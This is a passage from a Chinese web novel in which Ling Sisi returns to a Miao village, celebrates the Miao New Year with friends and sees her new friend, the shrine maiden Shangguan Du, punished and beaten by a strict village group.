她语无伦次地说着，把系统发布的任务，把和绫罗打电话的场景，把梨祀娩的那一巴掌，全都一股脑地倒了出来。泪水模糊了视线，她看不清屏幕里的人是什么表情，只知道心里的那块石头，终于被哭了出来。 沈司南沉默着，眼底满是心疼。他抬手，对着镜头轻轻说了一句：“回来吧，司司。” “对，回来！”许祭的声音带着点哽咽，“奖励算什么？系统算什么？我们这里永远有你的位置，有烤串，有鱼腥草茶，什么都有！” 窗外的雨还在下，可绫司司的心，却好像被他们的话焐热了。她捂着脸，哭得撕心裂肺，像个受了天大委屈的孩子。 视频那头的两个人，就那样安静地看着她，没有打断，没有催促，只是在竹廊的风里，陪着她，守着她。 原来，不管她走多远，不管她做错了什么，总有人在等她回家。 雨停后的清晨，金湖的空气里浸着芦苇的清冽。绫司司没带多少行李，只背上那个洗得发白的帆布包，里面装着苗银戒指、刻着“山野”的紫竹笛，还有那封被泪水泡得发皱的信。她没跟外婆细说缘由，只说要回苗寨，外婆塞给她一袋子藕粉圆子，念叨着“常回来看看”，眼底的不舍藏都藏不住。 高铁站的人来人往很吵，绫司司攥着车票，指尖微微发颤。检票口的电子屏闪烁着目的地的名字，她跟着人流往前走，心里像揣着一团乱麻，既忐忑，又带着点说不清的期待。 高铁开动的瞬间，窗外的金湖渐渐往后退，芦苇荡、老槐树、外婆的老屋，一点点缩成模糊的影子。绫司司靠在车窗上，看着掠过的田野和村庄，眼眶又开始发酸。她掏出手机，翻出和许祭、沈司南的聊天记录，许祭昨天晚上还发消息说“烤串炉子已经备好，就等你回来”，沈司南则是简单的一句“到站接你”。 三个小时的车程，她没合眼，手里一直摩挲着苗银戒指。脑海里的系统很久没出声了，万能解毒剂配方静静躺在背包里，可她一点都不在意了。那些所谓的奖励，在苗寨的炊烟和烤串香气面前，根本不值一提。 到站的时候，日头已经偏西。绫司司随着人流走出高铁站，一眼就看到了站在出口的两个人。 许祭穿着那件熟悉的靛蓝苗布短衫，手里举着个牌子，上面用马克笔歪歪扭扭写着“欢迎绫司司小朋友回家”，沈司南站在他旁边，手里拎着一个保温杯，眉眼温和。 看到她的那一刻，许祭眼睛一亮，快步冲过来，一把接过她的帆布包：“可算回来了！你再不归队，我的烤串技能都要生锈了！” 沈司南走上前，把保温杯递到她手里，杯壁温温热热的：“鱼腥草茶，刚泡的，你爱喝的浓度。” 熟悉的声音，熟悉的语气，像一股暖流，瞬间涌遍全身。绫司司看着他们，积攒了一路的委屈和想念，再也憋不住了。她咬着唇，眼泪像断了线的珠子，噼里啪啦地往下掉，不是嚎啕大哭，是那种带着哽咽的、压抑了太久的抽泣。 “对不起……”她吸着鼻子，声音断断续续，“我不该……不该为了系统……” “哭什么？”许祭抬手，笨拙地拍了拍她的背，声音放软了，“回来就好，什么都别说了。” 沈司南也点了点头，眼底满是心疼：“苗寨的吊脚楼，一直给你留着。” 夕阳把三个人的影子拉得很长，高铁站的喧嚣好像都成了背景音。绫司司靠在许祭的肩膀上，哭得肩膀一耸一耸的，手里的保温杯暖意融融，心里那块空落落的地方，一点点被填满了。 原来，回家的路，从来都不孤单。 晨雾刚散，阳光就漫过吊脚楼的竹廊，落在阶前晒着的鱼腥草上，泛着细碎的金光。绫司司正坐在小板凳上，跟着许祭串羊肉串，指尖沾着点孜然粉，鼻尖萦绕着炭火的焦香。 身后忽然传来竹杖点地的“笃笃”声，她回头，就看见寨子里最年长的龙阿婆，拄着刻满苗纹的竹杖，慢悠悠地走过来，银饰在晨光里叮当作响。 “司司丫头。”龙阿婆的声音带着岁月沉淀的沙哑，却温和得像山涧的溪水，她挨着绫司司坐下，枯瘦的手轻轻拍了拍她的手背，“再过十天，就是苗年了。” 绫司司手里的肉串签子顿了顿，眼睛亮了亮。她来苗寨这么久，听阿婆们念叨过好多次苗年，说那天全寨人要围着篝火跳芦笙舞，要蒸糯米饭、打糍粑，还要唱整夜的山歌。 “苗年？”她放下签子，凑近阿婆，眼底满是期待，“是不是会很热闹呀？” “那是自然。”龙阿婆笑起来，眼角的皱纹挤成一朵花，“到时候家家户户都要杀年猪，酿米酒，阿婆给你留了最好的糯米，教你打糍粑。还有芦笙队，会从晒谷场一直吹到后山去，你可得穿上新做的苗布衣裳，跟着我们一起跳。” 她顿了顿，又从袖袋里摸出一个红布包，层层打开，里面是一枚小巧的银锁，上面刻着“岁岁平安”的苗纹。“这是阿婆给你打的，苗年那天戴上，保佑你平平安安的。” 绫司司接过银锁，指尖触到冰凉的银质，心里却暖得发烫。她看着龙阿婆慈祥的眉眼，看着不远处许祭正偷偷往羊肉串上撒辣椒面，看着沈司南端着鱼腥草茶走过来，眼眶忽然有点湿润。 原来，这里真的是她的家。 “谢谢阿婆。”她把银锁紧紧攥在手里，嘴角弯起的弧度，比晨光还要明亮，“我一定好好学打糍粑，还要跟着你们跳一整夜的舞。” 龙阿婆笑着点头，抬手替她拂去发梢的草屑。远处的芦笙声隐隐约约传来，像是在为即将到来的苗年，提前奏响了序曲。 7. 我叫上官渡 苗年的前三天，晒谷场旁的祭神树下围满了人。阿婆们说，神女会来这里祭拜古树，为全寨祈福。绫司司挤在人群里，手里还攥着半块没吃完的糍粑，踮着脚往树下望。 只见祭神树下站着个穿月白苗裙的姑娘，长发松松挽成髻，簪着一枝风干的野姜花，眉眼清冷，却带着一股柔和的气场。她手里捧着一束艾草，动作虔诚地将其插在树底的石缝里，风吹起她的裙摆，像一只栖在枝头的白鹤。 “那就是上官渡，咱们寨的神女。”龙阿婆在绫司司耳边低声说，“能通山林灵气，懂草药，心肠好得很。” 祭典结束后，人群渐渐散去。绫司司抱着刚打好的糍粑，鬼使神差地走到上官渡身边，把手里的糍粑递过去：“你……你要不要尝尝？刚打的，甜得很。” 上官渡回头看她，目光落在她沾着糯米粉的指尖，忽然笑了。那一笑，像是冰雪融了春水，瞬间冲淡了她身上的清冷。“好啊。”她接过糍粑，掰了一小块放进嘴里，眉眼弯起来，“真甜。” 两人就坐在祭神树下的青石板上，你一块我一块地分着糍粑。绫司司叽叽喳喳地跟她说自己的事，说苗寨的日子，说许祭的烤串，说沈司南的鱼腥草茶，甚至连系统的事都忍不住说了一嘴。上官渡只是安静地听着，偶尔插一句，声音温温柔柔的。 “其实我早就见过你。”上官渡忽然说，“你刚来苗寨的时候，总蹲在河滩上哭，我在对岸看了好久。” 绫司司的脸唰地红了，不好意思地挠挠头：“那时候太傻了。” “不傻。”上官渡摇摇头，伸手拂去她发梢的草屑，“谁都有难过的时候。” 那天下午，她们聊了很久。从后山的草药聊到苗年的篝火，从城里的高楼聊到寨里的吊脚楼。绫司司发现，上官渡看似清冷，实则心思细腻，她懂她心里的委屈，懂她对苗寨的眷恋，更懂她对“家”的渴望。 临走时，上官渡从袖袋里摸出一个香囊递给她，香囊上绣着一株小小的鱼腥草。“里面装的是安神的草药，睡不着的时候，放在枕边。” 绫司司接过香囊，鼻尖萦绕着淡淡的草药香，心里暖烘烘的。她从口袋里掏出那枚苗银戒指，小心翼翼地套在上官渡的手指上：“这个给你，算是……闺蜜的信物。” 上官渡看着手指上的戒指，又看看绫司司亮晶晶的眼睛，忍不住笑了。她伸出手，轻轻勾住绫司司的手指：“好啊，闺蜜。” 夕阳落在祭神树上，将两人的影子拉得很长很长。远处传来许祭喊她吃烤串的声音，绫司司朝上官渡挥挥手：“苗年的篝火晚会，一定要来啊！我带你去吃许祭哥的烤串，超好吃的！” “一定来。”上官渡站在树下，朝她挥了挥手，手里的香囊在风里轻轻晃着。 绫司司蹦蹦跳跳地跑远了，心里忽然觉得，苗寨的日子，又多了一抹不一样的色彩。 苗年的前一天，雾色还没散尽，山间的岚气像一层薄纱，缠在吊脚楼的檐角上。绫司司揣着刚绣好的苗帕，帕子上的野姜花还沾着银线的光泽，她踩着青石板路往寨子深处走——沈司南说要教她写苗寨的祈福字，纸墨早就搁在竹廊的案几上了。 沈司南的吊脚楼挨着后山的竹林，竹影婆娑，门没关严，漏出一缕淡淡的墨香混着鱼腥草茶的清苦。绫司司刚要抬手推门，就听见里面传来说话声，是上官渡的声音，比平日里对着祭神树祈福时更软，像山涧淌过的春水。 “你这鱼腥草茶，还是和去年一样的味道，三分苦七分回甘，一点没差。” “习惯了这个配比。”是沈司南的声音，清清淡淡的，带着点笑意，“今年后山的鱼腥草长得旺，比去年的更嫩些。” 绫司司的脚步顿住了，鬼使神差地收了手，只悄悄扒着门缝往里看。 竹廊下的木案上铺着宣纸，砚台里的墨汁泛着细腻的光泽。沈司南穿着件月白的短衫，正低头研墨，手腕轻转，墨锭在砚台里划出沙沙的声响。阳光穿过竹叶的缝隙，碎金似的落在他的发梢上，又滑过他握着墨锭的手指，柔和得不像话。 上官渡坐在对面的竹椅上，手里捧着一杯温热的茶，月白的苗裙裙摆垂在青石板上，沾着两片不知何时落下的竹叶。她没像往常那样挽着发髻，长发松松地披在肩头，簪着的那枝风干野姜花，在晨光里透着淡淡的黄。她的目光落在沈司南写字的侧脸上，眼底的清冷不知何时散了，漾着一层她从未见过的温柔，连握着茶杯的指尖，都轻轻蜷了蜷。 “苗年的祈福仪式，还是你来吧？”上官渡抿了口茶，声音低了些，“去年你写的祈福牌，挂在祭神树最顶端，寨子里的阿婆都说，那是最灵验的一块。” 沈司南抬眸看她，眉峰微微舒展，眉眼间的笑意更浓了些：“好。祈福牌我已经备好了，红松木做的，不容易裂。你要是有空，也来帮忙吧，绫司司昨儿还念叨着，要挂个写着‘平安’的牌子，说要保佑外婆和我们仨。” 提到绫司司的名字时，上官渡的脸颊忽然泛起一点浅浅的红，像被晨光染透的花瓣。她连忙低下头，指尖轻轻摩挲着茶杯上的冰裂纹，声音细得像蚊子哼：“我……我想写个‘顺遂’的牌子。” “顺遂？”沈司南挑了挑眉，放下墨锭，拿起一支羊毫笔蘸了蘸墨，“挺好的，万事顺遂，是个好兆头。” 上官渡没接话，只垂着眼帘，看着沈司南握着毛笔的手，嘴角悄悄弯起一个极浅的弧度。 绫司司扒着门缝，把这一幕看得清清楚楚。她忽然想起，上次和上官渡坐在祭神树下分糍粑，上官渡忽然问她，沈司南平时喜欢喝什么茶，喜欢写什么字体；想起上官渡路过沈司南的吊脚楼时，总会放慢脚步，往里面望一眼，眼神里藏着她当时没看懂的期待；想起刚才，上官渡看着沈司南的眼神，亮得像盛满了夏夜的星光。 原来，清冷的神女，也会有藏不住的心事。 绫司司的心里忽然涌上一阵雀跃，又带着点小窃喜。她生怕惊动了屋里的人，悄悄往后退了两步，踮着脚，踩着青石板路一溜烟跑开了。跑远了，她才捂着嘴，蹲在路边笑出声——原来不止她一个人觉得，沈司南低头研墨写字的样子，很好看。 她拍了拍兜里的苗帕，心里已经盘算起了苗年篝火晚会的小计划。 一定要偷偷撮合他们两个！ 夜色漫过苗寨的吊脚楼，檐角的风灯晕开一圈暖黄的光。绫司司拉着上官渡坐在后山的竹林边，脚下是软软的青苔，远处传来阿婆们低声唱的山歌，混着虫鸣，温柔得不像话。 两人手里都攥着一根狗尾巴草，绫司司晃着腿，犹豫了半天，还是忍不住戳了戳上官渡的胳膊，声音压得低低的：“渡渡，我问你个事儿，你不许瞒我。” 上官渡侧过头看她，眼尾的碎发被风吹得微微晃动，眼底盛着月光，比平日里更柔和些：“你说。” “你是不是……喜欢沈大哥啊？”绫司司盯着她的侧脸，连呼吸都放轻了，“下午我去他家，看见你看他的眼神，软乎乎的，跟平时对着祭神树的时候，完全不一样。” 上官渡的脸颊“唰”地一下红了，像被晚霞染过的云。她猛地低下头，攥着狗尾巴草的手指收紧，指尖都泛了白，半天没吭声。 竹林里静悄悄的，只有风吹过竹叶的沙沙声。 绫司司也不急，就那样陪着她坐着。过了好一会儿，才听见上官渡的声音，细得像蚊子哼，还带着点羞赧：“嗯……喜欢好久了。” “我就知道！”绫司司一下子坐直了，眼睛亮得像星星，“怪不得你总问我沈大哥喜欢喝什么茶，喜欢写什么字，原来都是有原因的！” 上官渡被她说得更不好意思了，抬手轻轻推了她一下，嘴角却忍不住弯起来：“小声点，别让别人听见。” “怕什么！”绫司司凑近她，神神秘秘地说，“我帮你撮合！苗年的篝火晚会，我们就……” 她的话还没说完，就被上官渡伸手捂住了嘴。月光落在两人的脸上，满是少女心事的甜软。远处的吊脚楼里，许祭的笑声隐隐约约传过来，苗寨的夜，温柔得像一汪春水。 晨雾还没散尽，苗寨就被噼里啪啦的鞭炮声炸醒了。家家户户的吊脚楼前都挂起了红灯笼，檐角垂着的腊肉腊肠晃悠着，空气里飘着糯米饭的甜香、米酒的醇香，还有许祭烤串摊子上飘来的肉香，热热闹闹地缠成一团。 绫司司天没亮就爬起来了，换上那件水红色的苗裙，裙摆的银铃随着她的动作叮当作响。她刚梳好头发，上官渡就推门进来了，月白色的苗裙衬得她眉眼清亮，发间簪着的野姜花沾着露水，添了几分灵动。 “渡渡，你真好看！”绫司司扑过去，挽住她的胳膊，“沈大哥看到，眼睛都要挪不开了！” 上官渡的脸颊微红，轻轻拍了拍她的手背：“别贫嘴，龙阿婆还等着我们去打糍粑呢。” 两人刚走到晒谷场，就被热闹的景象裹住了。阿婆们穿着绣满花纹的盛装，手里端着糯米团子；小伙子们扛着芦笙，吹着欢快的调子；小孩子们追着跑着，手里攥着糖人，笑声撒了一地。许祭的烤串摊前围满了人，他忙得满头大汗，看见绫司司和上官渡，扬声喊：“丫头们，快来尝尝新烤的甜口羊肉串！” 沈司南就站在烤串摊旁边，手里拿着一沓红松木的祈福牌，穿着件青色的短衫，眉眼温和。他看见她们，脚步顿了顿，目光落在上官渡身上，微微愣了愣，才笑着开口：“祈福牌写好了吗？等会儿挂到祭神树上去。” 上官渡的心跳漏了一拍，连忙低下头，声音细弱：“还没……等下和你一起写。” 正午的阳光最暖的时候，全寨人聚在晒谷场吃长桌宴。酸汤鱼、腊肉、糯米饭、米酒摆了满满一长串，阿婆们唱着祝酒歌，端着酒碗挨桌敬酒。绫司司喝了一口米酒，甜丝丝的，她看着身边说说笑笑的人，看着上官渡和沈司南挨在一起写祈福牌的侧影，看着许祭忙里偷闲冲她比了个鬼脸，心里暖得像揣着一团火。 午后的祭神仪式开始了，龙阿婆领着众人跪在祭神树下，上官渡捧着艾草，轻声念着祈福的祷词，声音清越，像山风拂过竹林。沈司南把写好的祈福牌一一挂上树枝，绫司司踮着脚挂自己的“平安”牌时，偷偷把上官渡写的“顺遂”牌挂在了沈司南的牌子旁边，挂好后还得意地朝上官渡眨了眨眼。 夕阳西沉的时候，篝火被点燃了。通红的火苗窜得老高，映得每个人的脸都暖洋洋的。芦笙声再次响起，小伙子们拉着姑娘们的手，围着篝火跳起了舞。绫司司拉着上官渡冲进人群，许祭在后面追着喊她别跑太快，沈司南则站在篝火旁，目光一直追随着上官渡的身影，眼底盛着比火苗更暖的光。 夜风里飘着烤串的香气和米酒的甜香，银铃的叮当声混着欢声笑语，苗寨的夜，被苗年的热闹填得满满当当。 篝火越烧越旺，火星子噼啪作响，溅起的光落在每个人的脸上，映得眉眼都暖融融的。芦笙的调子欢快又热烈，围着篝火跳舞的人越来越多，绫司司拉着上官渡的手，跟着节奏蹦蹦跳跳，裙摆上的银铃叮当作响。 跳着跳着，绫司司瞥见沈司南正站在篝火外围，手里捏着一杯米酒，目光落在她们这边，嘴角噙着浅浅的笑。她心里的小算盘噼里啪啦响，悄悄凑到上官渡耳边：“渡渡，你看沈大哥，一个人站着多没意思，我们拉他一起跳！” 上官渡顺着她的目光看过去，正好对上沈司南望过来的视线，脸颊倏地红了，连忙低下头：“别……好多人看着呢。” “怕什么！”绫司司才不管这些，攥着上官渡的手腕，使劲往沈司南那边拽，一边跑一边喊，“沈大哥！快来跳舞啊！” 沈司南愣了一下，看着两个姑娘朝自己跑过来，绫司司的脸上满是狡黠的笑，上官渡则红着脸，眼神里藏着点慌乱。他失笑摇头，放下手里的米酒，却没有伸手，反而往后退了半步，声音温和却带着不容置喙的拒绝：“你们玩吧，我不太会跳这个。” 绫司司的动作僵住了，手里还攥着上官渡的手腕，脸上的笑容也淡了几分。她没想到沈司南会拒绝，一时间有些不知所措。 上官渡的脸瞬间白了些，指尖微微发颤，连忙抽回自己的手，低着头轻声说：“没关系，那我们……我们去那边跳。” 说完，她拉着绫司司的胳膊，转身就往人群里走，脚步快得像是在逃。篝火的光落在她的背影上，月白色的裙摆被风吹得微微扬起，却透着一股说不出的落寞。 沈司南看着她们的背影，握着酒杯的手指紧了紧，眼底闪过一丝复杂的情绪。他望着篝火旁嬉笑打闹的人群，终究是叹了口气，转身走到了更僻静的地方，仰头喝了一口杯中的米酒，酒液的醇香里，竟品出了几分涩味。 不远处的烤串摊前，绫司司看着上官渡闷闷不乐的样子，心里懊恼得不行，狠狠跺了跺脚：“都怪我，不该硬拉着你来的。” 夜色渐深，篝火的光芒弱了几分，喧闹的人声也低了下来。沈司南端着喝剩的半杯米酒，独自坐在晒谷场边缘的石墩上，望着远处晃动的人影，眉头微蹙。 脚步声由远及近，许祭拎着两串烤得焦香的羊肉串走过来，将其中一串递给他，一屁股坐在旁边的草地上：“怎么一个人躲在这儿？不去跟她们一起热闹热闹？” 沈司南接过羊肉串，没说话，只是低头咬了一口，炭火的香气散在嘴里，却没什么滋味。 许祭瞥了他一眼，又顺着他的目光看向人群里正陪着上官渡发呆的绫司司，忽然笑了，声音压得低低的：“我知道你在想什么。” 沈司南抬眸看他，眼底带着几分疑惑。 “上官渡。”许祭吐出这三个字，指尖戳了戳他的胳膊，“刚才绫司司拉着她找你跳舞，你愣是往后退了半步，把人小姑娘的心都给晾凉了。” 沈司南的喉结动了动，握着酒杯的手指紧了紧：“我不太会跳舞，人太多了。” “扯。”许祭毫不留情地拆穿他，“去年苗年，你还教我跳了三步呢。”他顿了顿，看着沈司南眼底的复杂，声音软了些，“你是不是觉得，她是神女，性子清冷，跟我们不是一路人？” 沈司南沉默了片刻，轻轻摇了摇头，目光落在远处上官渡的身影上，语气平静得没有一丝波澜：“不是。她很好，温柔又细心，但我不喜欢她。” 许祭愣住了，手里的羊肉串差点掉在地上，他张了张嘴，半晌才找回自己的声音：“不喜欢？那你刚才……” “我只是不想让她难堪。”沈司南打断他，仰头喝了一口米酒，酒液的涩味漫过舌尖，“她的眼神太直白，我要是顺着跳下去，只会给她错误的希望。长痛不如短痛。” 许祭看着他眼底的清明，忽然就懂了。他叹了口气，咬了一大口羊肉串，含糊不清地说：“你啊，就是心思太细，有时候细得反而伤人。” 沈司南没说话，只是望着篝火旁的人影，绫司司正逗着上官渡笑，月光落在两人身上，温柔得不像话。他握着酒杯的手指松了松，眼底闪过一丝不易察觉的无奈。 夜色沉到最浓的时候，苗寨的篝火渐渐熄成暗红的余烬，喧闹声也跟着散了。绫司司和上官渡并肩走回吊脚楼，月光把两人的影子拉得长长的，裙摆上的银铃偶尔晃出细碎的声响。 进了屋，绫司司点上一盏煤油灯，暖黄的光晕漫过窗棂，落在竹编的床榻上。两人并肩坐在床沿，脚边放着半碟没吃完的糍粑，空气里飘着淡淡的艾草香——是上官渡香囊里的味道。 “今天……对不起啊。”绫司司先开了口，指尖抠着衣角，声音低低的，“我不该硬拉着你去找沈大哥跳舞，害你难堪了。” 上官渡摇摇头，伸手捻起一块糍粑放进嘴里，甜糯的滋味在舌尖化开，却没什么暖意。她望着灯芯跳动的火苗，轻声道：“不怪你，是我自己的心事，不该藏不住的。” “我还以为……你们能成呢。”绫司司耷拉着脑袋，想起沈司南拒绝时的模样，心里堵得慌，“沈大哥他……” “他很好。”上官渡打断她，嘴角弯起一抹浅浅的笑，眼底却没什么笑意，“他只是不喜欢我而已。其实我早该看出来的，他看我的眼神，和看你、看许祭的眼神，从来都没什么不一样。” 绫司司抿了抿唇，忽然握住她的手。上官渡的手微凉，指尖带着草药的涩意。“渡渡，你别难过。”她想不出什么安慰的话，只能笨拙地拍着她的手背，“沈大哥他就是太闷了，心思细得像麻绳，拧巴得很。” 上官渡被她逗得轻笑出声，转头看她，眼底的落寞淡了些。“我没难过。”她说，“喜欢一个人，本来就是我自己的事，与他无关。” 她顿了顿，望着窗外的月亮，声音轻得像风：“我从小就在寨子里长大，当了神女，就总有人说我该清冷、该端庄，不能有私心。可我第一次见沈司南的时候，他坐在竹林里写字，阳光落在他的笔尖上，我就觉得……原来心里真的会有小鹿乱撞的感觉。” 绫司司安安静静地听着，忽然想起自己在金湖的那些日子，想起和绫罗断绝关系时的绝望，想起许祭和沈司南说的“回来就好”，眼眶忽然有点发酸。 “我以前也以为，有些东西很重要。”她轻声说，“比如系统的奖励，比如那些虚无的底气。可后来我才发现，最珍贵的，是有人陪着你吃烤串，陪着你写祈福牌，陪着你坐在月光下说心事。” 上官渡转头看她，眼底的光慢慢亮了起来。 两人就这么有一搭没一搭地聊着，从后山的草药聊到城里的高楼，从苗年的糍粑聊到外婆的藕粉圆子。煤油灯的光晕渐渐淡了，窗外的月亮落了又升，天边泛起一抹淡淡的鱼肚白。 晨光漫进屋里的时候，绫司司撑着下巴，眼皮打架，声音都带着浓浓的困意：“渡渡，以后我们一直做闺蜜好不好？你陪我，我陪你。” 上官渡看着她困倦的模样，伸手替她拢了拢额前的碎发，声音温柔得像春水：“好啊。” 风从窗缝里钻进来，吹得灯芯轻轻晃了晃，屋里的艾草香和糍粑的甜香缠在一起，漫着彻夜长谈后，独属于少女心事的温柔。 天刚蒙蒙亮，晨雾还缠在后山的竹林梢头，绫司司就被窗外的鸟叫声吵醒了。她揉着眼睛坐起来，看见上官渡已经梳洗妥当，月白色的裙角沾着露水，手里还拎着两个竹编的小篮子。 “醒啦？”上官渡回头冲她笑，“后山的野姜花开得正好，去采些回来插瓶。” 绫司司眼睛一亮，麻溜地爬起来套上衣服，跟着上官渡往后山走。山路被露水打湿，踩上去软乎乎的，空气里飘着青草和野花的香气。两人一路走一路采，篮子里很快就堆了半篮的野姜花，还有些不知名的小蓝花，点缀在绿叶间，好看得很。 走到祭神树附近的一片空地时，上官渡的脚步忽然顿住了。 绫司司顺着她的目光看去，只见空地上站着个穿深色苗裙的姑娘，不过十九岁的年纪，头发梳成一丝不苟的发髻，簪着一根素银簪子，眉眼清秀，透着一股与年龄不符的沉静。她手里捧着一束艾草，正对着祭神树的方向躬身行礼，动作庄重肃穆，晨光落在她的发梢上，镀上一层柔和的金边。 “她是芷凝，负责寨里祭祀的事宜。”上官渡的声音放得轻轻的，“和我一样大，性子安静，只是做事素来认真，看着便多了几分疏离。” 芷凝似乎听到了动静，缓缓转过身来。她的目光扫过绫司司和上官渡，落在上官渡手里的竹篮上，眉头轻轻动了动，随即漾开一抹浅淡的笑意，声音软乎乎的，像山涧的清泉：“渡渡，你也来采野姜花吗？” 上官渡走上前，笑着点头：“是啊，这花开得旺，采些回去插在屋里。没打扰你祭祀吧？” “没有没有。”芷凝连忙摆手，将手里的艾草往身侧挪了挪，目光落在绫司司身上，带着几分好奇，又有些腼腆，“这位就是你常提起的绫司司吧？” 绫司司愣了一下，随即笑着点头：“你好，我是绫司司。” “你好。”芷凝的脸颊微微泛红，声音更轻了，“我听寨子里的人说过你，说你……很活泼。”她顿了顿，指着不远处的一片花丛，“那边的野姜花更大更艳，你们可以去那边采。” “谢谢你呀。”绫司司眼睛一亮，拉着上官渡就要往那边走。 上官渡回头冲芷凝挥挥手：“祭祀结束了来我屋里坐，我给你泡鱼腥草茶。” 芷凝笑着应了，看着两人的背影，眼底的笑意温柔得像晨雾。她低头看了看手里的艾草，又抬头望了望祭神树，轻轻叹了口气，嘴角却依旧弯着浅浅的弧度。 绫司司一边采花一边嘀咕：“原来她这么温柔啊，我还以为祭司都很严肃呢。” 上官渡笑着摇头：“她只是慢热，熟了就知道，人很好的。” 晨雾渐渐散去，阳光透过树叶的缝隙落下来，在地上洒下斑驳的光影。不远处的空地上，芷凝捧着艾草，又开始了她的祭祀仪式，声音清软，和着风，飘得很远很远。 日头偏西的时候，后山的风忽然刮得紧了些，带着竹叶簌簌的声响。绫司司正蹲在草丛里摘一朵蓝色的小野花，一抬头，就看见几个穿着玄色苗裙的人从竹林里钻出来，为首的女人眉眼冷厉，腰间挂着刻着“兰榙”字样的铜牌。 上官渡的脸色瞬间白了，她下意识地把绫司司往身后拉了拉，声音发紧：“你们来做什么？” 为首的女人冷笑一声，上前一步，目光像淬了冰：“上官渡，你别忘了自己的身份。神女的职责是守护寨门，不是和外来的丫头厮混，更不是对一个外人动不该动的心思。” “我的事不用你们管。”上官渡挺直脊背，手里紧紧攥着竹篮的提手，指节泛白。 “管？我们今天是来教训你！”女人话音未落，抬手就朝着上官渡的脸颊甩了一巴掌。 啪的一声脆响，在寂静的山林里格外刺耳。 上官渡被打得偏过头去，嘴角瞬间渗出血丝，月白色的裙角被风吹得猎猎作响。她没有哭，只是缓缓转过头，眼底的清冷里翻涌着怒意，却死死咬着唇，没发出一点声音。 绫司司吓得浑身一颤，猛地从上官渡身后冲出来，张开胳膊挡在她面前，红着眼睛吼道：“你们干什么！不许打她！” “这里没你的事，滚！”女人瞪着绫司司，眼神凶狠。 “我不滚！”绫司司攥紧拳头，声音发颤却不肯退让，“渡渡是神女，更是我朋友，你们凭什么打她！” 兰榙的人还想上前，却被上官渡喝住了：“够了。我跟你们走，别为难她。”她抬手擦了擦嘴角的血，目光落在绫司司脸上，带着一丝安抚，“司司，你先回去，我没事。” 绫司司看着她苍白的脸和嘴角的血迹，眼泪瞬间掉了下来，却只能眼睁睁看着那些人拽着上官渡的胳膊，消失在竹林深处。风卷着落叶，打在她的脸上，冰凉刺骨。 暮色四合，竹林深处的祠堂隐在沉沉的树影里，朱红的木门上刻着繁复的苗纹，透着一股压抑的肃穆。 兰榙的人把上官渡推搡着扔进祠堂，厚重的木门“吱呀”一声关上，落了锁。 祠堂里只点着一盏摇曳的油灯，昏黄的光映着一排排发黑的牌位，空气里飘着陈年香火和灰尘的味道。上官渡踉跄着站稳，嘴角的血迹已经干涸，她抬手擦了擦，却只摸到一手冰凉。 为首的女人站在门外，声音隔着门板传进来，冷得像冰：“上官渡，你身为神女，却罔顾寨规，与外来人厮混，还动了不该动的心思。罚你在祠堂跪满三日三夜，好好反省，什么时候想明白了，什么时候再出来。” 脚步声渐渐远去，祠堂里彻底安静下来，只剩下油灯芯“噼啪”的轻响。 上官渡缓缓跪下去，月白色的裙裾铺在冰冷的青石板上，寒气顺着膝盖往上钻。她抬头望着牌位上模糊的字迹，眼底的怒意慢慢褪去，只剩下一片疲惫。 她不是不知道兰榙的规矩，神女要守着清冷，要护着寨子，不能有私心，不能有软肋。可她遇见了绫司司，遇见了那些热闹的、温暖的日子，她就再也回不去了。 风从窗缝里钻进来，吹得油灯的光晃了晃，映得她的影子在墙上忽明忽暗。她咬着唇，没掉一滴泪，只是将脸轻轻贴在冰冷的石板上，心里却在想着，绫司司会不会担心她，沈司南和许祭会不会来找她。 夜色越来越浓，祠堂里的寒气越来越重，上官渡的身子渐渐发起抖来，却依旧挺直着脊背，一动不动地跪着。 天刚擦黑，绫司司就揣着两个热乎乎的糍粑，一路小跑往兰榙的祠堂赶。她知道祠堂守得严，却还是存着一丝侥幸，想着能偷偷看上官渡一眼，给她送点吃的。 祠堂外的石阶旁守着两个穿玄色苗裙的女人，腰间的兰榙铜牌在暮色里闪着冷光。绫司司刚凑近，就被她们拦了下来。 “站住！祠堂重地，外人不得靠近！”其中一个女人厉声喝道。 “我找上官渡！我是她朋友，我给她送点吃的！”绫司司攥着糍粑的手紧了紧，声音带着急切。 “上官渡触犯寨规，正在反省，谁也不能见！”另一个女人上前一步，眼神冷厉，“赶紧走，别自讨苦吃！” 绫司司急了，梗着脖子就要往里冲：“她犯了什么错？不过是和我做朋友而已！你们凭什么把她关起来！” 这话彻底惹恼了守祠的人。女人抬手就攥住了绫司司的手腕，用力一甩，绫司司踉跄着摔在石阶上，手里的糍粑滚落在地，沾了满身的灰尘。 “不知好歹的外来丫头！”女人上前一步，扬手就朝着绫司司的后背狠狠扇了一巴掌，力道大得让她瞬间闷哼出声，“再敢胡搅蛮缠，连你一起罚！” 后背火辣辣地疼，眼泪瞬间涌了上来，绫司司却咬着牙没哭，撑着石阶爬起来，瞪着守祠的人，声音发颤却带着倔强：“你们放她出来！快放她出来！” “滚！”守祠的人抬脚就要踹过来，却被突然赶来的许祭一把拉住。 许祭皱着眉将绫司司护在身后，沉声道：“兰榙行事，也该讲道理，何必对一个小姑娘动手。” 守祠的人见是许祭，脸色稍缓，却依旧冷声说：“这是兰榙的事，与你无关。” 绫司司躲在许祭身后，看着紧闭的祠堂大门，眼泪终于掉了下来，心里像被什么东西揪着，又疼又慌。 夜色如墨，祠堂的门被猛地推开，冷风裹着落叶灌了进去。兰榙为首的女人面色冷厉，一脚踹在上官渡的膝盖后弯，迫使她踉跄着跪倒在地。 “跪了这么久，还是不知悔改？”女人居高临下地睨着她，语气里满是不耐，抬手就拽住了她的长发，硬生生将她的脸扯得扬起，“神女就该有神女的样子，和外来的野丫头厮混，你丢的是整个兰榙的脸！” 上官渡疼得浑身发颤，嘴角的血痂裂开，渗出血丝，却依旧咬着唇，一声不吭。 “不说话？”女人冷笑一声，挥手甩开她的头发，上官渡重重摔在青石板上，额头磕出一片青紫，“既然祠堂里跪不够，就去外面的冷水河跪着！什么时候想明白，什么时候再起来！” 两个兰榙的人立刻上前，拽着上官渡的胳膊将她拖了出去。月白色的裙裾被粗糙的石子划破，沾了泥污和血迹，狼狈不堪。 寨子外的冷水河泛着寒气，夜风一吹，河水泛起粼粼的冷光。兰榙的人毫不留情地将她推下河，冰冷的河水瞬间漫过膝盖，刺骨的寒意顺着四肢百骸往上钻，冻得她牙齿都开始打颤。 “给我好好跪着！”女人站在河岸上，声音冷得像冰，“敢起来一步，就把你那外来的小丫头朋友一起扔进来！” 